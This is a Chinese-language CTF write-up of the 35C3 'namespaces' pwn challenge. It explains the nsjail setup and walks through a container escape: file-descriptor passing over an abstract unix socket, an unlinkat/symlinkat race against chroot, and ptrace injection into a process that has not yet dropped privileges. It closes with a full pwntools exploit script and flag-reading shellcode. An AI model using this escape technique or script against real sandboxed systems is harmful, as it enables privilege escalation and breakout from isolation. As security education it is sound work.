35C3 CTF Pwn namespaces

题目可以在这个地方下载
https://github.com/LevitatingLion/ctf-writeups/tree/master/35c3ctf/pwn_namespaces

题目一共给了两个文件,一个Dockerfile和一个叫namespaces的64位Linux可执行文件。

那么首先来看dockerfile

FROM tsuro/nsjail

COPY challenge/namespaces /home/user/chal

#COPY tmpflag /flag

CMD /bin/sh -c "/usr/bin/setup_cgroups.sh && cp /flag /tmp/flag && chmod 400 /tmp/flag && chown user /tmp/flag && su user -c "/usr/bin/nsjail -Ml --port 1337 --chroot / -R /tmp/flag:/flag -T /tmp --proc_rw -U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1 --keep_caps --cgroup_mem_max 209715200 --cgroup_pids_max 100 --cgroup_cpu_ms_per_sec 100 --rlimit_as max --rlimit_cpu max --rlimit_nofile max --rlimit_nproc max -- /usr/bin/stdbuf -i0 -o0 -e0 /usr/bin/maybe_pow.sh /home/user/chal""

首先第一行FROM。
FROM初始化一个新的构建阶段,并为后续指令设置基础镜像
nsjail是个啥?

NsJail 是一个 Linux 下的进程隔离工具,通过使用命名空间、资源控制和 seccomp-bpf syscall 过滤器子系统实现。

COPY就是简单的拷贝。做的就是将这个镜像中的文件进行一个拷贝。

我们的重点要放在下面的CMD命令上。CMD就是执行后面的命令。
首先是/bin/sh -c。他的作用就是执行后面引号里面的指令。
为啥要用这个句子呢?参考一个链接
/bin/sh -c的作用
在这个地方效果应该也类似。

引号里面是干嘛的呢?
/usr/bin/setup_cgroups.sh是设置cgroups的脚本,这部分是资源上的限制
cp /flag /tmp/flag 拷贝flag在/tmp下面
chmod 400 /tmp/flag 然后给个权限
chown user /tmp/flag flag文件所有者是user权限。
中间要求需要用&&隔开。

然后
/usr/bin/nsjail 运行这个文件,后面的都是参数
-Ml --port 1337 监听在1337端口
–chroot / 还是让根目录是根目录,所以就是没有切换根目录
-R /tmp/flag:/flag -T /tmp 将/tmp/flag以只读方式绑定挂载到/flag,并在/tmp处挂载一个tmpfs
–proc_rw 将procfs挂载为可读可写模式

-U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1
隔离环境内的0和1分别映射为环境外的1000和100000

–keep_caps 保留所有capabilities
Linux Capabilities 入门教程:概念篇
capabilities说白了就是把root的权利分开了。

–cgroup_mem_max 209715200
–cgroup_pids_max 100
–cgroup_cpu_ms_per_sec 100
–rlimit_as max
–rlimit_cpu max
–rlimit_nofile max
–rlimit_nproc max
– /usr/bin/stdbuf -i0 -o0 -e0
/usr/bin/maybe_pow.sh /home/user/chal""

这些cgroup与rlimit参数都是nsjail的进程隔离参数。
在这里插入图片描述
在这里插入图片描述可以不用理会。

最后我们的落脚点是
NsJail将运行/home/user/chal,也就是前面提到的namespaces二进制文件。

这个二进制文件是干嘛的呢?
我们来逆向

首先是main函数。
在这里插入图片描述1、进来首先要求我们的uid是0,也就是我们有root权限。

在这里插入图片描述

2、创建/tmp/chroots目录,并将其权限改为777

在这里插入图片描述

3、 进入循环体,等待用户输入,输入1则执行start_box函数。输入2则执行run_elf函数。

在这里插入图片描述

4、start_box。首先创建一个子进程,子进程从用户输入读取一段数据作为ELF文件加载为匿名文件并返回文件描述符,然后在/tmp/chroot/下以当前沙盒的序号为名称创建一个目录,同样改权限为777,并将根目录切换到这里,紧接着调用setresgid/setresuid降权为1号用户。
最后,子进程将执行前述匿名文件;

父进程将子进程user命名空间的UID/GID 1 映射为父进程user命名空间的1,回到循环体等待输入。

5、 run_elf。
首先由用户给定一个沙盒序号,并继续提示用户发送一段数据作为将要执行的ELF文件。
接着创建一个子进程,父进程回到第2步中的循环体等待输入。

在这里插入图片描述
子进程根据用户给定的沙盒序号找到沙盒内的初始进程,依次打开并加入user、 mnt、 pid、 uts、 ipc和cgroup命名空间。

其中,在加入pid命名空间后执行了一次fork,真正切换到目标pid命名空间。据说是因为pid命名空间比较特殊,当前进程的pid命名空间并不会改变,只有子进程的才会。

fork后的父进程退出,子进程根据沙盒序号找到/tmp/chroots/,切换根目录到这里,同样调用setresgid/setresuid降权为1号用户。
最后,这个子进程将执行本步骤最开始用户输入的ELF文件。

那么我们的漏洞出现在哪里?

到目前为止我们的命名空间有八个

从Linux 2.6.24版的内核开始,Linux 就支持6种不同类型的命名空间。它们的出现,使用户创建的进程能够与系统分离得更加彻底,从而不需要使用更多的底层虚拟化技术。
CLONE_NEWIPC: 进程间通信(IPC)的命名空间,可以将 SystemV 的 IPC 和 POSIX 的消息队列独立出来。

CLONE_NEWPID: 进程命名空间。空间内的PID 是独立分配的,意思就是命名空间内的虚拟 PID 可能会与命名空间外的 PID 相冲突,于是命名空间内的 PID 映射到命名空间外时会使用另外一个 PID。比如说,命名空间内第一个 PID 为1,而在命名空间外就是该 PID 已被 init 进程所使用。

CLONE_NEWNET: 网络命名空间,用于隔离网络资源(/proc/net、IP 地址、网卡、路由等)。后台进程可以运行在不同命名空间内的相同端口上,用户还可以虚拟出一块网卡。

CLONE_NEWNS: 挂载命名空间,进程运行时可以将挂载点与系统分离,使用这个功能时,我们可以达到 chroot 的功能,而在安全性方面比 chroot 更高。

CLONE_NEWUTS: UTS 命名空间,主要目的是独立出主机名和网络信息服务(NIS)。

CLONE_NEWUSER: 用户命名空间,同进程ID 一样,用户ID 和组ID在命名空间内外是不一样的,并且在不同命名空间内可以存在相同的ID。

后续版本中又有了命名空间cgroup与time

那我们会发现有一个非常重要的命名空间没有加入进去,就是network namespace。
这回有啥影响?
本机跟沙箱用的是一个network的命名空间。
那么就以为着我们在沙箱中看到的关于网络的一些文件直接就是本机的文件,那么我们就可以利用这个来做一些事情。

漏洞利用

那么我们可以利用同一个命名空间做点啥?
我们想利用两个容器同一个网络命名空间来实现进程间的通信,通信干嘛?容器A创建了文件之后把文件描述符传给B,B使用这个文件描述符进行文件操作,从而实现容器逃逸。

为什么这样会容器逃逸成功?
我们的不同的容器虽然加入了不同的mnt namespace,但是因为共用一个内核,所以在容器中看到的文件描述符是1的文件可能在内核看来是31111,正常来讲因为namespace的问题容器根本不能生成自己可以逃逸的文件,但是利用别的文件进行通信就可以达到这个效果。

那么现在我们得到了什么?我们可以做到一个访问容器外界文件的一个机会,但是不会访问到关键文件,因为我们只能拿到文件A的文件描述符,拿不到我们逃逸之后宿主机的文件描述符,所以我们要进行一些linux的API。

int openat(int dirfd, const char *pathname, int flags);
int unlinkat(int dirfd, const char *pathname, int flags);
int symlinkat(const char *target, int newdirfd, const char *linkpath);

我们发现他们就是在我们经常间的一些函数后面加了at单词。
但是效果是什么?
我们用那个openat进行举例。

openat函数是这样的。
如果第二个参数是绝对路径,那么就忽略第一个参数,直接访问文件。
但是如果第二个参数是相对路径,那么就会把第一个参数所表示的文件当做基地址,再加上我们的相对路径,进行文件的访问。

那我们利用这个函数不是就可以做到任意文件访问了嘛?

然后解决下一个问题,容器间怎么通信。
我们可以借助unix socket以Ancillary messages的方式在指定类型为SCM_RIGHTS时发送和接收文件描述符

SCM_RIGHTS

Send or receive a set of open file descriptors from another process.  
The data portion contains an integer array of the file descriptors.

Commonly, this operation is referred to as "passing a file descriptor" to another process.  
However, more accurately, what is being passed is a reference to an open file description (see open(2)), and in the receiving process 
it  is likely that a different file descriptor number will be  used.  
Semantically, this operation is equivalent to duplicating (dup(2)) a file descriptor into the file  descriptor table of another process.

If the buffer used to receive the ancillary data  containing file descriptors is too small (or is absent),  
then the ancillary data is truncated (or discarded) and  
the excess file descriptors are automatically closed in the receiving process.

If the number of file descriptors received in the  ancillary data would cause the process to exceed its  RLIMIT_NOFILE resource limit (see getrlimit(2)), 
the excess file descriptors are automatically closed in the  receiving process.

The kernel constant SCM_MAX_FD defines a limit on the  number of file descriptors in the array.  
Attempting to  send an array larger than this limit causes sendmsg(2) to  fail with the error EINVAL.  SCM_MAX_FD has the value 253

The sendmsg() function sends messages on a socket with a socket descriptor passed in an array of message headers.

然而,各个容器文件互相隔离,不同沙盒进程无法通过打开同一unix socket文件的方式实现通信。
解决方法是利用了Linux支持一类独立于文件系统的抽象命名空间,我们能够将unix socket绑定到抽象命名空间内的一个名称上,而非在本地文件系统上创建一个socket文件,这样一来,不同沙盒中run_elf的进程就能够通过同一个名称找到对应unix socket,从而实现文件描述符的传递。

Address format
       A UNIX domain socket address is represented in the following
       structure:

           struct sockaddr_un {
               sa_family_t sun_family;               /* AF_UNIX */
               char        sun_path[108];            /* Pathname */
           };

       The sun_family field always contains AF_UNIX.  On Linux, sun_path
       is 108 bytes in size; see also NOTES, below.

       Various systems calls (for example, bind(2), connect(2), and
       sendto(2)) take a sockaddr_un argument as input.  Some other
       system calls (for example, getsockname(2), getpeername(2),
       recvfrom(2), and accept(2)) return an argument of this type.

       Three types of address are distinguished in the sockaddr_un
       structure:

       *  pathname: a UNIX domain socket can be bound to a null-
          terminated filesystem pathname using bind(2).  When the
          address of a pathname socket is returned (by one of the system
          calls noted above), its length is

              offsetof(struct sockaddr_un, sun_path) + strlen(sun_path)
          + 1

          and sun_path contains the null-terminated pathname.  (On
          Linux, the above offsetof() expression equates to the same
          value as sizeof(sa_family_t), but some other implementations
          include other fields before sun_path, so the offsetof()
          expression more portably describes the size of the address
          structure.)

          For further details of pathname sockets, see below.

       *  unnamed: A stream socket that has not been bound to a pathname
          using bind(2) has no name.  Likewise, the two sockets created
          by socketpair(2) are unnamed.  When the address of an unnamed
          socket is returned, its length is sizeof(sa_family_t), and
          sun_path should not be inspected.

       *  abstract: an abstract socket address is distinguished (from a
          pathname socket) by the fact that sun_path[0] is a null byte
          ('\0').  The socket's address in this namespace is given by
          the additional bytes in sun_path that are covered by the
          specified length of the address structure.  (Null bytes in the
          name have no special significance.)  The name has no
          connection with filesystem pathnames.  When the address of an
          abstract socket is returned, the returned addrlen is greater
          than sizeof(sa_family_t) (i.e., greater than 2), and the name
          of the socket is contained in the first (addrlen -
          sizeof(sa_family_t)) bytes of sun_path.

大概意思就是socket的结构体中需要一个文件名的成员,然后应该有三种类型。

所以我们就解决了这个传递文件描述符的问题。
那么我们还有另外一个问题:
沙盒本身是以user身份运行的,只是分别在start_box和run_elf分支经过降权。如果阻止降权,就能够获得root权限。

我们又要利用另外一个东西

ptrace 提供了一种机制使得父进程可以观察和控制子进程的执行过程,ptrace 还可以检查和修改子进程的可执行文件在内存中的image及子进程所使用的寄存器中的值。

我们再看一下run_elf,run_elf将依次打开并加入/proc/[初始进程PID]/ns/下的user、 mnt、 pid、 uts、 ipc和cgroup命名空间。
我们制造这样一种情况:假如我们创建一个沙盒,其中的init进程fork一个子进程,然后将/tmp/xxx目录绑定挂载到/proc/[init进程PID]/ns,接着在这个目录下创建符号链接,将各个命名空间链接到init进程fork的子进程对应的/proc/[子进程PID]/ns目录下,那么当一个run_elf进程加入沙盒init进程的mnt命名空间后,它将看到被上述操作修改过的/proc,接着它加入的pid命名空间实际上属于init的子进程。这样一来,init子进程就能够在这个pid命名空间下借助ptrace向未降权的run_elf进程注入代码并执行了。

上面的思路还是存在问题。
为了ptrace,init进程必须新建一个pid命名空间,而新建pid命名空间需要当前进程在当前user命名空间内具有CAP_SYS_ADMIN权限,但是原init进程并没有这个权限,且chroot过的进程不被允许创建新的user命名空间来获得该权限。因此,现在的问题变成了如何让原init进程从chroot中逃逸。

我们有以下逃逸chroot的方案:
1 首先创建沙盒1和沙盒2,其中沙盒1将自己的根目录文件描述符发送给沙盒2,沙盒2拿到这个文件描述符并循环等待沙盒3在/tmp/chroots下目录的建立;
2 创建沙盒3,从2.2.2节我们得知,start_box分支会先创建/tmp/chroots/3目录,然后chroot到该目录。这里和第1步最后沙盒2的循环等待联系在一起,构成了条件竞争;
3 如果CPU调度结果是:沙盒3先mkdir,然后沙盒2检测到/tmp/chroots/3的建立,并使用unlinkat API将该目录删除(注意777宽松权限),紧接着使用symlinkat API创建一个同名的指向/根目录的符号链接,最后沙盒3执行chroot操作。那么沙盒3的chroot后看到的依然是宿主根路径,逃逸成功。

最后呢我们要对exp做一个解释

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

import shutil

context.binary = 'namespaces'


#exp的主体
def exploit():
    #就是编译了四个二进制文件,方便一会用来使用
    prepare_bins()

    global r
    # r = remote('35.246.140.24', 1)
    r = remote('localhost', 1337)
    r.recvuntil('> ')
    #
    hook_recv(r)

    # start sandbox 0 and 1
    for _ in xrange(2):
        start_sandbox('sleep')
        r.recvuntil('[sleep]  Started sleep')

    # send fd in sandbox 0
    run_file(0, 'sendfd')
    r.recvuntil('[sendfd]  Accepting')

    # recv fd in sandbox 1, race creation of chroot for sandbox 2
    run_file(1, 'recvfd')
    r.recvuntil('[recvfd]  Starting race')

    # start sandbox 2, hope we win the race
    # inside sandbox 2, set a trap for the next process joining sandbox 2
    start_sandbox('escalate')
    r.recvuntil('[escalate]  Waiting for victim to join')

    # let a process join sandbox 2 to escalate to root
    run_file(2, 'sleep')

    r.recvuntil('DONE')

#就是一功能
def start_sandbox(init):
    print
    success("Starting sandbox: %s", init)

    r.sendline('1')
    send_elf(init)

#二功能
def run_file(idx, elf):
    print
    success("Running in sandbox #%d: %s", idx, elf)

    r.sendline('2')
    r.sendlineafter('which sandbox? ', str(idx))
    send_elf(elf)

#一二功能发送elf文件
def send_elf(elf):
    elf = bins[elf]

    r.sendlineafter('elf len? ', str(len(elf)))

    r.recvuntil('data? ')
    with context.local(log_level='INFO'):
        r.send(elf)

    log.debug("Sent ELF file")


def prepare_bins():
    global bins
    bins = {}

    names = 'sleep sendfd recvfd escalate'.split()
    rand = ''.join(random.choice(string.letters) for _ in xrange(10))
    sc = shellcode()

    directory = tempfile.mkdtemp()

    for name in names:
        os.system('gcc -Wall -Wextra -Wno-unused-function -O3 -static -m64 -o %s/bin binaries.c -DMAIN=%s -DRAND=%s -DSHELLCODE=%s' %
                  (directory, name, rand, sc))
        bins[name] = read(directory + '/bin')

    shutil.rmtree(directory)


def shellcode():
    sc = shellcraft.echo('[shellcode]  FLAG: ') + shellcraft.cat('/flag') + \
        shellcraft.echo('[shellcode]  DONE') + shellcraft.exit(0)

    sc = '\x90' * 16 + asm(sc)
    sc = '\x90' * (8 - (len(sc) % 8)) + sc
    assert len(sc) % 8 == 0

    print
    print "Shellcode:"
    print hexdump(sc)
    print

    sc = ','.join(map(str, unpack_many(sc, 8)))
    return sc


def hook_recv(r):
    old_recv = r.recv_raw

    def new_recv(*args, **kwargs):
        ret = old_recv(*args, **kwargs)

        for line in ret.splitlines():
            if '[' in line:
                print line[line.index('['):]

        return ret

    r.recv_raw = new_recv


if __name__ == '__main__':
    exploit()

参考链接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值